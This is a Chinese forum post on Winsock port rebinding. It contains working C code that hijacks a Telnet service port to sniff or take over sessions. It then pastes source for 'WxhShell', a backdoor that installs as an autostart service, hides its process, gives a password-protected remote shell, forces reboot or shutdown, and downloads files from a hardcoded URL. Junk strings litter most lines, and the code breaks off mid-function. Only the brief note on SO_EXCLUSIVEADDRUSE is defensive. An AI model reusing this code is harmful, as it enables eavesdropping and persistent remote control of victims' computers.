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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C-_w]2MM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Qdh"X^^  
moZ)|y  
  saddr.sin_family = AF_INET; l6yB_ M  
0 [*nAo  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gE-lM/w  
]5aux >.n  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s}z(|I rH  
z2"2tFK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8Q#t\$RY  
!tm|A`<g#<  
  这意味着什么?意味着可以进行如下的攻击: =kyJaT^5[  
O[3q9*(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a-SB1-5jf  
{^2({A#&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4UkP:Vz:  
?Aj\1y4L1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]J GKL5~p  
IiYuUN1D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e_;%F`  
' |h./.K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #mi0x06  
QYFN:XZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *8pe<:A#p  
=k[(rvU3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]Hv*^Bak  
])3lH%4-  
  #include _.oRVYK /  
  #include &h_d|8  
  #include 9}? 5p]%  
  #include    UEx(~>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \1eKY^)2  
  int main() 5)/4)0  
  { c"oQ/x  
  WORD wVersionRequested; ]l9,t5Y  
  DWORD ret; (\[jf39e  
  WSADATA wsaData;  3D[:Rf[  
  BOOL val; qP%Smfp6  
  SOCKADDR_IN saddr; 4n `[SN  
  SOCKADDR_IN scaddr; vV\/pu8  
  int err; UU;Y sj  
  SOCKET s; W0p#Y h:{_  
  SOCKET sc; s /k  
  int caddsize; ?eY chVq  
  HANDLE mt; eB}sg4  
  DWORD tid;   m bB\~n  
  wVersionRequested = MAKEWORD( 2, 2 ); uL qpbn  
  err = WSAStartup( wVersionRequested, &wsaData ); oj,Vi-TZ  
  if ( err != 0 ) { -wG[>Y  
  printf("error!WSAStartup failed!\n"); \&l*e  
  return -1; xKkVSEup  
  } KU 8Cl>5  
  saddr.sin_family = AF_INET; ; HR\R  
    A[wxa  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 noB}p4  
K!$\REs  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); y.TdWnXx  
  saddr.sin_port = htons(23); sf|_2sI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O23]!S<;  
  { kW7&~tX  
  printf("error!socket failed!\n"); k~W;TCJs  
  return -1; mt&JgA/  
  } uBd =x<c\  
  val = TRUE; oPCIlH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 P+_\}u;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L?/M2zc9Y  
  { &Pn%zfmMN  
  printf("error!setsockopt failed!\n"); Bm2}\KOI  
  return -1; xu\/]f)  
  } ivDG3>"JG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4 G68WBT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &].1[&M]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =Un6|]  
&<[]X@ bY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qjdahVY  
  { cl9;2D"Zm!  
  ret=GetLastError(); 5y 'ycTjY  
  printf("error!bind failed!\n"); R`<{W(J;r  
  return -1; $`+~QR!h  
  } F".IB^} $  
  listen(s,2); joSr,'x  
  while(1) 1)c=15^  
  { Vq;{+j(  
  caddsize = sizeof(scaddr); N5I W@?4  
  //接受连接请求 B@~eBU,$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); njx\$,ruN  
  if(sc!=INVALID_SOCKET) c^q O@%s  
  { VN55!l'OV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rg]A_(3Bb  
  if(mt==NULL) II f >z_m  
  { ]#Z$jq{,  
  printf("Thread Creat Failed!\n"); Q& unA3  
  break; `h%D\EKeB  
  } /=O+/)l`  
  } mc[_> [m  
  CloseHandle(mt); Fr Q-v]c  
  } <:_]Yl  
  closesocket(s); l{7Dv1[Ss  
  WSACleanup(); u/c~PxC  
  return 0; y<gYf -E+  
  }   c)P%O  
  DWORD WINAPI ClientThread(LPVOID lpParam) e"&9G}.f  
  { ;*$8iwBQ_  
  SOCKET ss = (SOCKET)lpParam; 5eZg+ O  
  SOCKET sc; 2>_LX!kyP]  
  unsigned char buf[4096]; ZkV vL4yIK  
  SOCKADDR_IN saddr; vp}>#&  
  long num; 36Fa9P FCc  
  DWORD val; :."n@sA@  
  DWORD ret; Dg2#Gv0B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [3 ;Y:&D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C&#KdvN/r  
  saddr.sin_family = AF_INET; uEi.nSp)S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'Q;?_,`  
  saddr.sin_port = htons(23); k=q%FlE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `OpC-Z&  
  { ObHz+qRG  
  printf("error!socket failed!\n"); = ,E(!Sp  
  return -1; o dQ&0d  
  } :?of./Df|  
  val = 100; WaZ@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w<^2h}5  
  { @'| 6lG  
  ret = GetLastError(); E/Gs',Y  
  return -1; n<(5B|~y  
  } Kd|l\k!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;>x1)|n5  
  { J hq5G"  
  ret = GetLastError(); 1:l&&/Wy  
  return -1; dUVTQ18F  
  } 4!b'%)   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VBj;2~Xj4h  
  { NBR'^6  
  printf("error!socket connect failed!\n"); 5O;oo@A:[  
  closesocket(sc); ,IX4Zo"a  
  closesocket(ss); [q|Q]O0  
  return -1; #mFAl|O  
  } VDI S`E  
  while(1) Ognq*[om  
  { W&q5cz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^xu)~:} i  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 JdNPfkOF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nhaoh!8A6  
  num = recv(ss,buf,4096,0); /01(9(  
  if(num>0) (DaP~*c3cC  
  send(sc,buf,num,0); tNNg[;0  
  else if(num==0) eOnl s x/  
  break; lSsFI30  
  num = recv(sc,buf,4096,0); \kRJUX! s  
  if(num>0) TKutO0  
  send(ss,buf,num,0); {_gj>n(1  
  else if(num==0) G5@fqh6ws  
  break; T%vbD*nt.  
  } Fm+)mmJP  
  closesocket(ss); 'C4Ll2  
  closesocket(sc); N`GwL aF  
  return 0 ; &=t(NI$  
  } s*U&[7P  
4!RI2?4V  
!(AFT!  
========================================================== v7I*W/  
YY>Uf1}*9  
下边附上一个代码,,WXhSHELL Kpbbe r  
@z?.P;f9#  
========================================================== L |G k}n  
XA^:n+Yo  
#include "stdafx.h" :1  
+}Wo=R}  
#include <stdio.h> 3 AF]en  
#include <string.h> w!k4&Rb3  
#include <windows.h> ?)<XuMh  
#include <winsock2.h> OmuZ 0@ .  
#include <winsvc.h> vF\zZ<R/  
#include <urlmon.h> Qy,qQA/   
M|]1}8d?  
#pragma comment (lib, "Ws2_32.lib") 8$olP:d  
#pragma comment (lib, "urlmon.lib") H/I`c>Zn  
s3%8W==rBW  
#define MAX_USER   100 // 最大客户端连接数 `lOoT  
#define BUF_SOCK   200 // sock buffer Xr;noV-X  
#define KEY_BUFF   255 // 输入 buffer W3j|%  
l[0P*(I,  
#define REBOOT     0   // 重启 $ T_EsnN  
#define SHUTDOWN   1   // 关机  h\ek2K  
FDC{8e  
#define DEF_PORT   5000 // 监听端口 Q]:%Jj2  
V2* |j8|  
#define REG_LEN     16   // 注册表键长度 0'}?3/u-  
#define SVC_LEN     80   // NT服务名长度 U2?gODh'  
BC[d={_-  
// 从dll定义API W"@lFUi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3k0%H]wt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &fj?hYAj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o/ 5 Fg>d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;a)\5Uy  
.ai9PsZ?V  
// wxhshell配置信息 c'qM$KN9G  
struct WSCFG { Ol0|)0  
  int ws_port;         // 监听端口 ]YzAcB.R  
  char ws_passstr[REG_LEN]; // 口令 !AHm+C_=Lg  
  int ws_autoins;       // 安装标记, 1=yes 0=no YTit=4|  
  char ws_regname[REG_LEN]; // 注册表键名 []Ea0jYu  
  char ws_svcname[REG_LEN]; // 服务名 m(P)oqwM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0GVok$r@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K),wAZI!7j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #OTsD+2Za=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pwC/&bu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i% lB U 1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qZ }XjL  
rXX|?9 '  
}; uoHhp4>^  
/GaR&  
// default Wxhshell configuration !Esiq<Yh  
struct WSCFG wscfg={DEF_PORT, c.WT5|:qw  
    "xuhuanlingzhe", %"2B1^o>  
    1, ^ I YN"yX_  
    "Wxhshell", W'$~mK\  
    "Wxhshell", mio'm  
            "WxhShell Service", ISmnZ@  
    "Wrsky Windows CmdShell Service", e X@q'Zi  
    "Please Input Your Password: ", AK =k@hT  
  1, t79MBgZ  
  "http://www.wrsky.com/wxhshell.exe", +s}28U!  
  "Wxhshell.exe" w>s  
    }; p]oo^  
H!u:P?j@\  
// 消息定义模块 ?_r"Fg;"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ENzeVtw0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f7s.\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r%9Sx:F  
char *msg_ws_ext="\n\rExit."; IM/\t!*7  
char *msg_ws_end="\n\rQuit."; bJD"&h5  
char *msg_ws_boot="\n\rReboot..."; WXL.D_=+  
char *msg_ws_poff="\n\rShutdown..."; FzIA>njt  
char *msg_ws_down="\n\rSave to "; o_n.,=/cZ  
M{QNpoM  
char *msg_ws_err="\n\rErr!"; ^l,Jbt  
char *msg_ws_ok="\n\rOK!"; m.*+0NG  
< ]nI)W(  
char ExeFile[MAX_PATH]; 3a0C<hW  
int nUser = 0; oSoG&4  
HANDLE handles[MAX_USER]; 67eo~~nUtg  
int OsIsNt; dEiX! k$#  
T Bco  
SERVICE_STATUS       serviceStatus; ?H`LrL/k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )C@,mgh  
I}=}S"v  
// 函数声明 mx yT==E  
int Install(void); 2,\u Y}4  
int Uninstall(void); cPXvT Vvs  
int DownloadFile(char *sURL, SOCKET wsh); rdRX  
int Boot(int flag); eD3F%wxz  
void HideProc(void); `dK\VK^  
int GetOsVer(void); .H&;pOf  
int Wxhshell(SOCKET wsl); L{ -w9(S`i  
void TalkWithClient(void *cs); n7G$gLX  
int CmdShell(SOCKET sock); zSO[f  
int StartFromService(void); 4$^=1ax  
int StartWxhshell(LPSTR lpCmdLine); o\#C] pp  
9`muk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vB p5&*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m8?(.BJ%  
9pgct6BO  
// 数据结构和表定义 q )[g VL  
SERVICE_TABLE_ENTRY DispatchTable[] = [D)A+  
{ ZDf9Npe  
{wscfg.ws_svcname, NTServiceMain}, l>ttxYBa<d  
{NULL, NULL}  JeA}d  
}; 5?O"N  
D7%89qt  
// 自我安装 JTC&_6  
int Install(void) J L3A/^  
{ bk<3oI  
  char svExeFile[MAX_PATH]; (GV6%l#I  
  HKEY key; qH ~usgqB7  
  strcpy(svExeFile,ExeFile); +[F8>9o&  
S:d` z'  
// 如果是win9x系统,修改注册表设为自启动 c2C8}XJ|O  
if(!OsIsNt) { pmS=$z;I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (xTHin$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f6XWA_[i@  
  RegCloseKey(key); & mWq'h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K(p1+ GHC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CUG6|qu  
  RegCloseKey(key); $=bN=hE  
  return 0; !cpBX>{w  
    } i8{jMe!Sa  
  } I#0.72:[  
} \Q6Ip@?  
else { `{/=i|6  
J+zqu  
// 如果是NT以上系统,安装为系统服务 L.R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UY+~xzm  
if (schSCManager!=0) aX|`G]PhdI  
{ p|((r?{  
  SC_HANDLE schService = CreateService U +]ab  
  ( L?P8/]DGp  
  schSCManager, YGHWO#!Gp  
  wscfg.ws_svcname, {ys_uS{c*  
  wscfg.ws_svcdisp, V>nY?  
  SERVICE_ALL_ACCESS, %:y-"m1\u$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h<j04fj  
  SERVICE_AUTO_START, z}&<D YD  
  SERVICE_ERROR_NORMAL, Rl(b tr1w  
  svExeFile, fSTEZH  
  NULL, Qknd^%  
  NULL, aql*@8 )m  
  NULL, Fg~,1[8w<  
  NULL, ?>&8,p17  
  NULL #?/.LMn{  
  ); /Iskjcc60W  
  if (schService!=0) Y7p#K<y]9  
  { b,'./{c0  
  CloseServiceHandle(schService); o ).pF">jh  
  CloseServiceHandle(schSCManager); N\0Sq-.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k >MgrtJI  
  strcat(svExeFile,wscfg.ws_svcname); YlA=? X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZibODs=f;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 936t6K&  
  RegCloseKey(key); ZDb`]c4(  
  return 0; qN)cB?+  
    } qdm!]w.G5  
  } OJK/>  
  CloseServiceHandle(schSCManager); [L275]4n!]  
} 9GEcs(A*  
}  2O  
md_Ld /  
return 1; {> }U>V  
} u-W=~EO5#  
^KlOD_GN|  
// 自我卸载 8}0 D?  
int Uninstall(void) ^?A+`1-  
{ q8D1MEBL`  
  HKEY key; 3_-#  
[ M'1aBx^  
if(!OsIsNt) { \<8!b {F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^Nu} HcC+  
  RegDeleteValue(key,wscfg.ws_regname); Xnh1pwDhe<  
  RegCloseKey(key); ?( '%QfT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %{{#Q]]&  
  RegDeleteValue(key,wscfg.ws_regname); UOu&sg*o2B  
  RegCloseKey(key); aJF`rLm  
  return 0; C+k>Ajr  
  } Z/x1?{z  
} 0(kp>%mbB  
} #7>CLjI  
else { qL#R XUTP  
Nh))U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j oG>=o  
if (schSCManager!=0) usA!MMH4  
{ 5J;c;PF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r3kI'I|bq  
  if (schService!=0) m|k,8guG  
  { AM[:Og S  
  if(DeleteService(schService)!=0) { u"%fz8v  
  CloseServiceHandle(schService); GyCpGP|AZ  
  CloseServiceHandle(schSCManager); {x: IsQZ  
  return 0; L:<'TXsRA  
  } QKO(8D6+  
  CloseServiceHandle(schService); SS`C0&I@p  
  } .EcMn  
  CloseServiceHandle(schSCManager); [=Z{y8#:J  
} m ";gD[m  
} #q- _  
-&? -  
return 1; -%.V0=G(Z  
} mm8O  
a|NU)mgEI  
// 从指定url下载文件 [OcD#~drO  
int DownloadFile(char *sURL, SOCKET wsh) ,zFN3NLtA  
{ Q?@G>uz  
  HRESULT hr; cF2/}m]  
char seps[]= "/"; hs4r5[  
char *token; >UMnItq(l  
char *file; T!PX?  
char myURL[MAX_PATH]; {@A2jk\  
char myFILE[MAX_PATH]; 2. _cEY34  
(R-Q9F+;  
strcpy(myURL,sURL); oB9m\o7$  
  token=strtok(myURL,seps); Q)>'fZ)  
  while(token!=NULL) bRp[N  
  { jH1~Ve+q9  
    file=token; 9YABr> ?  
  token=strtok(NULL,seps); c &HoS  
  } &UR/Txnu  
LnGSYrx1  
GetCurrentDirectory(MAX_PATH,myFILE); 7W"menw  
strcat(myFILE, "\\"); w3>|mDA}I  
strcat(myFILE, file); vvxj{fxb)  
  send(wsh,myFILE,strlen(myFILE),0); 4(82dmKO  
send(wsh,"...",3,0); ny={V*m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R 28*  
  if(hr==S_OK) Mk[`HEO  
return 0; _3a 5/IZ  
else CvJEY  
return 1; {9 O`/|  
^%pwyY\t  
} [3Rj?z"S  
]||=<!^kn  
// 系统电源模块 '9@R=#nd  
int Boot(int flag) "[yiNJ"kt  
{ vuBA&j0C  
  HANDLE hToken; *\",  qMp  
  TOKEN_PRIVILEGES tkp; #cS,5(BM  
@XC97kGWp  
  if(OsIsNt) { dL(|Y{4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mC`! \"w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q;.]e#wvh  
    tkp.PrivilegeCount = 1; G>QTPXcD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sfE8b/Z8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  HU9y{H  
if(flag==REBOOT) { (_ah~VnO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .Er/t"Qs;  
  return 0; '.,.F0{x  
} xQap44KPZ  
else { u2-7vudh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0h4}RmS  
  return 0; ^<0NIu}  
} QaR.8/xV  
  } B_glyC  
  else { oE1]vX  
if(flag==REBOOT) { ()?co<@(l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p)xI5,b$9  
  return 0; )7g_v*  
} !`o:+Gg@  
else { &tCtCk%{j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZnLk :6'  
  return 0; T0%TeFY  
} 9'g{<(R]  
} 2j1v.%  
3ohcHQ/a  
return 1; ( y*X8  
} !#1A7[WN  
X388Gs;e  
// win9x进程隐藏模块 %+ a@|Z   
void HideProc(void) mX@* 2I  
{ y51D-vj  
E^a `IA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IQe[ CcM  
  if ( hKernel != NULL ) QYXx7h r=$  
  { 'hw@l>1\9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5l0rw)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O7'3}P;  
    FreeLibrary(hKernel); 2EwWV 0BS  
  } gecT*^  
jMui+G(h  
return; NP'Ke:  
} ?3,tG z)  
OB^?cA>  
// 获取操作系统版本 5dw@g4N %^  
int GetOsVer(void) oh0|2IrM  
{ D*'M^k|1  
  OSVERSIONINFO winfo; +WN>9V0H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GY]6#>D#7  
  GetVersionEx(&winfo); }, &,Dt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vx}Z  
  return 1; Ej09RO"pB  
  else 5|G3t`$pa  
  return 0; #aY<J:Nx  
} .y9rM{h}b  
fhIj+/{_O  
// 客户端句柄模块 }lUpC}aq_  
int Wxhshell(SOCKET wsl) XqS*;Zj0  
{ Ty0T7D   
  SOCKET wsh; Tv,.  
  struct sockaddr_in client; (L:Fb  
  DWORD myID; >"g<-!p@  
8~(+[[TQ@  
  while(nUser<MAX_USER) >ydb?  
{ [=ak>>8  
  int nSize=sizeof(client); 'ag6B(0Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |z.GSI_!)  
  if(wsh==INVALID_SOCKET) return 1; m4U+,|Fa  
WfT)CIKs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X#I`(iHY  
if(handles[nUser]==0) m2q;^o:J  
  closesocket(wsh); 'h6} cw+K  
else fMEv85@JL  
  nUser++; aU<D$I  
  } *8X9lv.Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \.;ct  
=>}.W:=  
  return 0; dwbY"t[9  
} *RbOQ86vP  
(&S[R{=^j  
// 关闭 socket W;oU +z^t$  
void CloseIt(SOCKET wsh) n vpPmc  
{ Jv^cOc  
closesocket(wsh); G q:4rG|  
nUser--; T ~~[a|bLa  
ExitThread(0); z5&%T}$tJ  
} 4IP\iw#w  
j)tC r Py  
// 客户端请求句柄 LH/&\k  
void TalkWithClient(void *cs) 5 (21gW9  
{ 4 ^~zN"6]  
r>:L$_]L  
  SOCKET wsh=(SOCKET)cs; *- IlF]  
  char pwd[SVC_LEN]; RJ}yf|d-C  
  char cmd[KEY_BUFF]; !E {GcK  
char chr[1]; |Iok(0V  
int i,j; {I9 N6BQ&  
7hF,gl5  
  while (nUser < MAX_USER) { EOPS? @  
t>6x)2,TC  
if(wscfg.ws_passstr) { _{*$>1q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  @6YBK+"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pm#x?1rAj  
  //ZeroMemory(pwd,KEY_BUFF); mB^I @oZ*  
      i=0; %V<F<  
  while(i<SVC_LEN) { WW [`E  
| 2.e0Z]k  
  // 设置超时 j`|^s}8t  
  fd_set FdRead; Ld}(*-1i  
  struct timeval TimeOut; Fi?Q 4b  
  FD_ZERO(&FdRead); N?=qEX|R  
  FD_SET(wsh,&FdRead); ?dKa;0\  
  TimeOut.tv_sec=8; 7Z`Mt9:Ht  
  TimeOut.tv_usec=0; N[bR&# p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %%+mWz a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v(Bp1~PPZM  
6}i&6@Snq?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wCU&Xb$F  
  pwd=chr[0]; ),;D;LI{S  
  if(chr[0]==0xd || chr[0]==0xa) { TvWU[=4Yk  
  pwd=0; +\k9w.[:/  
  break; .kbr?N,'  
  } 0/SC  
  i++; L* k hj3;  
    } qJ X+[PJ  
B3cf] S%  
  // 如果是非法用户,关闭 socket R?bn,T>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GcZM+c  
} iz9\D*or  
}c35FM,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _z<Y#mik  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cVB|sYdf  
k_K,J 6_)  
while(1) { ?@lx  
M$&WM{Pr^  
  ZeroMemory(cmd,KEY_BUFF); Q3BLL` W~  
9QC"Od9H  
      // 自动支持客户端 telnet标准   x5fgF;  
  j=0; ~tg1N^]kV  
  while(j<KEY_BUFF) { rw5#e.~V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JtYYT/PB  
  cmd[j]=chr[0]; 1!>bhH}{D  
  if(chr[0]==0xa || chr[0]==0xd) { -}_cO|kk  
  cmd[j]=0; /63 W\  
  break; waXDGdl0  
  } ?#BZ `H  
  j++; #aitESbT  
    } Th7wP:iDP  
~+pg^en  
  // 下载文件 H5AK n*'7  
  if(strstr(cmd,"http://")) { Avs7(-L+s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8S.')<-f  
  if(DownloadFile(cmd,wsh)) P1)* q0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x1m8~F  
  else u}-d7-=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FylWbQU9  
  } hF7V !*5  
  else { G}=`VYK  
CdBthOPX)  
    switch(cmd[0]) { Wj&<"Z6'm(  
  k_*XJ<S!Y  
  // 帮助 CF3E]dt  
  case '?': { ~@[(N]=q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '?{0z!!  
    break;  /,1SE(  
  } hi;WFyJTu  
  // 安装 <CNE>@-f  
  case 'i': { NK+FQ^m[  
    if(Install()) '^Pq(b~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H_% d3 RI  
    else [<D+p qh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $:f.Krj  
    break; tk`: CT *  
    } 84[|qB,ML  
  // 卸载 }iPo8Ra  
  case 'r': { Po Yr:=S?  
    if(Uninstall()) QO5OnYh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; @ 7  
    else eZ!yPdgy|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^H5w41  
    break; V.K70)]  
    } ZhGh {D[,  
  // 显示 wxhshell 所在路径 Nl~Z,hT$*  
  case 'p': { U/.w;DI   
    char svExeFile[MAX_PATH]; !: m`9o8  
    strcpy(svExeFile,"\n\r"); :0M' =~[  
      strcat(svExeFile,ExeFile); Ff[H>Lp~  
        send(wsh,svExeFile,strlen(svExeFile),0); u{g]gA8s  
    break; ?JuX~{{. L  
    } ~8jThi U  
  // 重启 K H>Sc3p  
  case 'b': { "[awmZ:wo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =:4 '  
    if(Boot(REBOOT)) *4|9&PNLE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hf_R\C(c  
    else { vx04h~  
    closesocket(wsh); &e%{k@  
    ExitThread(0); @ \!KF*v  
    } H,(F1+~d  
    break; o{9?:*?7  
    } qA UaF;{  
  // 关机 ge^!F>whr  
  case 'd': { h^%GE;N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =RQ )$ %  
    if(Boot(SHUTDOWN)) .>k=A|3G  
